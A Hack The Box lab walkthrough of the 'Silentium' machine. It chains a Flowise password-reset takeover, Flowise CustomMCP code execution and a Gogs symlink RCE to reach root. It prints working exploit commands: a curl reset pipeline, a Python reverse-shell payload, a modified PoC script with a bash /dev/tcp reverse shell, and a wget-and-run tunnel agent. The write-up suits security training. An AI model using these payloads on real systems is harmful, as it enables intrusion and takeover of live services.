HTB: Silentium Writeup

HTB: Silentium Writeup

in

Summary

Silentium is an Easy Linux machine that strings together three CVEs across two different services. The attack begins with subdomain enumeration that uncovers a staging virtual host running Flowise, an open-source generative AI workflow platform. An unauthenticated account takeover vulnerability in Flowise (CVE-2025-58434) lets us reset the password for a known user, after which a second flaw (CVE-2025-59528) in the CustomMCP node gives us remote code execution inside the Flowise Docker container. Inspecting the container’s environment variables leaks SMTP credentials that turn out to be reused for the host’s ben account, giving us SSH access and the user flag. From there, an internal Gogs instance on port 3001 is running a version vulnerable to CVE-2025-8110, an authenticated RCE via symlink manipulation in the repository API. Exploiting that delivers a shell as root on the underlying host.

Recon

Initial Scanning

nmap with -A for full enumeration finds two open ports:

nmap -p- -Pn -A -oA fulltcp 10.129.17.47
# Nmap 7.99 scan initiated Sat Apr 11 20:03:51 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80 -4 -Pn -A -oA fulltcp 10.129.17.47
Nmap scan report for 10.129.17.47
Host is up, received user-set (0.040s latency).
Scanned at 2026-04-11 20:03:53 WEST for 12s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://silentium.htb/

The surface is deliberately narrow: SSH and a single nginx web server. The HTTP response on port 80 redirects to http://silentium.htb/, which is all we need - that tells us the expected hostname for name-based virtual hosting. Adding it to /etc/hosts and browsing normally from there.

Subdomain Enumeration

Browsing the main site on port 80 shows a static marketing page for a financial services firm. There are no obvious interactive routes and directory brute-forcing turns up nothing useful - the page is essentially a dead end on its own. With name-based routing in play, the natural next step is to fuzz for virtual hosts that aren’t publicly advertised:

ffuf -H "Host: FUZZ.silentium.htb" -u "http://10.129.17.47" \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -mc all -fs 178
staging    [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 3264ms]

-fs 178 filters out the default “not found” response by its size, so any result that comes back with a different body size is a real hit. We get one: staging.silentium.htb. After adding it to /etc/hosts, the page reveals a Flowise login panel - an open-source platform for building LLM-powered agents and workflows.

CVE-2025-58434 - Flowise Account Takeover

Flowise version 3.0.5 and earlier contain a straightforward but impactful design flaw in the password reset flow. When a reset request is submitted to /api/v1/account/forgot-password, the server generates a temporary reset token and - rather than delivering it exclusively by email - returns it directly in the JSON response body as user.tempToken. An unauthenticated attacker who knows a valid email address can therefore collect the token from the HTTP response and immediately use it to set a new password, bypassing any requirement to access the target’s inbox. If the email address is not registered, the endpoint returns a “not found” error, which conveniently makes it trivial to validate whether an account exists before proceeding.

The main site references a user named ben, and the sender email exposed later in environment variables confirms the address is ben@silentium.htb. The entire takeover can be scripted in a single shell pipeline:

host="http://staging.silentium.htb"
email="ben@silentium.htb"
pass='Peixoto1234!'

curl -s -X POST "$host/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d "{\"user\":{\"email\":\"$email\"}}" \
| jq -r '.user.tempToken' \
| xargs -I TOKEN curl -i -X POST "$host/api/v1/account/reset-password" \
  -H "Content-Type: application/json" \
  -d "{\"user\":{\"email\":\"$email\",\"tempToken\":\"TOKEN\",\"password\":\"$pass\"}}"

The first curl submits the reset request and pipes the response through jq to extract the raw token string. xargs then inlines it into the second request, which completes the reset. After that, ben@silentium.htb / Peixoto1234! works against the Flowise login page.

CVE-2025-59528 - Shell as root in c78c3cceb7ba

Once inside the Flowise dashboard, a second vulnerability is available. The CustomMCP node in Flowise accepts a JavaScript configuration string that it evaluates server-side using Node.js’s Function() constructor. Because Function() is not sandboxed the way eval() might be in a browser context, the code runs with full access to the Node process - including the ability to require('child_process') and execute arbitrary system commands. The affected API endpoint is /api/v1/node-load-method/customMCP, and it requires a valid API key obtained from the /apikey route of the authenticated dashboard.

The payload wraps a reverse shell inside an immediately-invoked function expression and passes it as the mcpServerConfig input:

curl -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer nRv_3mC91yw5BkZTp7sXeQL2ag4JoDfU6hYtN8wKrPi" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"python3 -c \\\"import socket,subprocess,os;s=socket.socket();s.connect((\\\\\\\"10.10.14.24\\\\\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\\\\"/bin/sh\\\\\\\",\\\\\\\"-i\\\\\\\"])\\\"\");return 1;})()})"
    }
  }'

The shell lands as root, but the hostname is c78c3cceb7ba - not silentium. The short random hostname is a giveaway: we’re inside a Docker container running the Flowise application, not on the actual host.

Credential Leak from Environment

The first useful thing to do inside any container is dump the environment variables. Container orchestration systems routinely inject secrets this way, and Flowise is no exception:

env
FLOWISE_PASSWORD=F1l3_d0ck3r
FLOWISE_USERNAME=ben
SMTP_PORT=1025
SENDER_EMAIL=ben@silentium.htb
SMTP_PASSWORD=r04D!!_R4ge
SMTP_USERNAME=test
SMTP_HOST=mailhog
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
HOSTNAME=c78c3cceb7ba
<SNIP>

Two passwords stand out: FLOWISE_PASSWORD is the Flowise application password for ben, and SMTP_PASSWORD is the credential for the mail relay. People who configure containers often reuse the same password across different services, so both of these are worth trying against ben’s system account via SSH.

Shell as ben

ssh ben@10.129.17.47

SMTP_PASSWORD (r04D!!_R4ge) works. Once in, the home directory is sparse - just user.txt:

ben@silentium:~$ cat user.txt
[REDACTED]

Internal Port Enumeration

ben has no sudo rights, so the next step is to map out what’s listening internally that isn’t exposed to the outside:

ss -nltp
State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process  
LISTEN  0        511              0.0.0.0:80             0.0.0.0:*              
LISTEN  0        4096             0.0.0.0:22             0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:1025           0.0.0.0:*              
LISTEN  0        4096          127.0.0.54:53             0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:8025           0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:3001           0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:3000           0.0.0.0:*              
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:35399          0.0.0.0:*              
LISTEN  0        511                 [::]:80                [::]:*              
LISTEN  0        4096                [::]:22                [::]:*              

Port 3000 is the Flowise container we already exploited. Port 3001 is something different - a quick curl confirms it serves an HTML page authored by Gogs, a lightweight self-hosted Git service written in Go:

curl http://127.0.0.1:3001 | head
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />

A process listing confirms it’s running as root:

ps -ef | grep gogs
root  1513  1  0 01:21 ?  00:00:04 /opt/gogs/gogs/gogs web

That’s the kind of detail worth paying attention to - if we can get code execution through Gogs, it runs with root privileges on the host.

CVE-2025-8110 - Shell as root

The Vulnerability

Gogs 0.13.3 and earlier are affected by an authenticated RCE that abuses improper symlink handling in the PutContents API. The attack chain works in three stages. First, an attacker pushes a repository containing a symlink that points to the repository’s own .git/config file. Second, the API endpoint for updating file contents (PUT /api/v1/repos/{user}/{repo}/contents/{path}) follows the symlink and writes the supplied content directly into .git/config. Since the attacker controls what gets written there, they can insert a malicious sshCommand directive under the [core] section. When Gogs subsequently triggers a git operation that invokes SSH - which the exploit causes by trying to mirror the repository to a remote - git reads the config and executes the attacker-controlled command instead of the real SSH binary.

The precondition here is authentication: we need a valid Gogs account. Registration on this instance requires solving a CAPTCHA, so we can’t automate it, but manually registering a pwner / pwner account through the browser works fine after forwarding the port.

Tunneling with Ligolo-ng

Rather than forward a single port over SSH, Ligolo-ng was used here - it creates a full transparent network tunnel, meaning any port on the target’s loopback becomes reachable without having to restart a tunnel each time you want a different service.

The setup runs in two halves. On the attacker machine, the proxy starts with a self-signed certificate so the agent can connect without needing a real cert:

sudo ./proxy -selfcert
INFO[0000] Listening on 0.0.0.0:11601

On ben’s session, the agent binary is downloaded and pointed back at the proxy:

wget 10.10.14.24/agent
chmod +x agent
./agent -connect 10.10.14.24:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established   addr="10.10.14.24:11601"

Back on the proxy side, the agent checks in and the tunnel can be configured:

ligolo-ng » INFO[0006] Agent joined.  name=ben@silentium remote="10.129.17.47:56026"
ligolo-ng » ifcreate --name ligolo
INFO[0011] Interface created!
ligolo-ng » route_add --name ligolo --route 240.0.0.1/32
INFO[0014] Route created.
ligolo-ng » session
? Specify a session : 1 - ben@silentium - 10.129.17.47:56026
[Agent : ben@silentium] » start
INFO[0019] Starting tunnel to ben@silentium

The address 240.0.0.1 is Ligolo’s reserved loopback proxy address - traffic sent there is transparently forwarded to 127.0.0.1 on the agent side. With the route in place, the Gogs instance on the target’s port 3001 is now reachable from the attacker at http://240.0.0.1:3001.

We register a pwner / pwner account manually through the web interface to satisfy the CAPTCHA requirement. The public PoC for CVE-2025-8110 includes an auto-registration routine, but it fails here precisely because of that CAPTCHA - so we strip that section out and point the script at the pre-existing account instead. The modified main() function skips register() and goes straight to login():

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
    args = parser.parse_args()
    session = requests.Session()
    if args.proxy:
        session.proxies.update(proxies)
    session.verify = False
    username = "pwner"
    password = "pwner"
    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
    try:
        # Registration removed - account created manually to bypass CAPTCHA
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)
        git_config = f"""[core]
\trepositoryformatversion = 0
\tfilemode = true
\tbare = false
\tlogallrefupdates = true
\tignorecase = true
\tprecomposeunicode = true
  sshCommand = {command}
[remote "origin"]
\turl = git@localhost:gogs/{repo_name}.git
\tfetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
\tremote = origin
\tmerge = refs/heads/master
"""
        upload_malicious_symlink(args.url, username, password, repo_name)
        exploit(session, args.url, token, username, repo_name, git_config)

    except Exception as e:
        console.print(f"[bold red][-] Error: {e}[/bold red]")

The script handles everything else: it authenticates, generates an API token, creates a new repository, pushes a symlink targeting .git/config, and then overwrites that config via the vulnerable PutContents endpoint with a payload that inserts our reverse shell as the sshCommand.

Execution

With a netcat listener ready on port 4444:

python CVE-2025-8110.py -u http://240.0.0.1:3001 -lh 10.10.14.24 -lp 4444

The shell arrives as root on silentium - the actual host, not the container. root.txt is waiting in /root.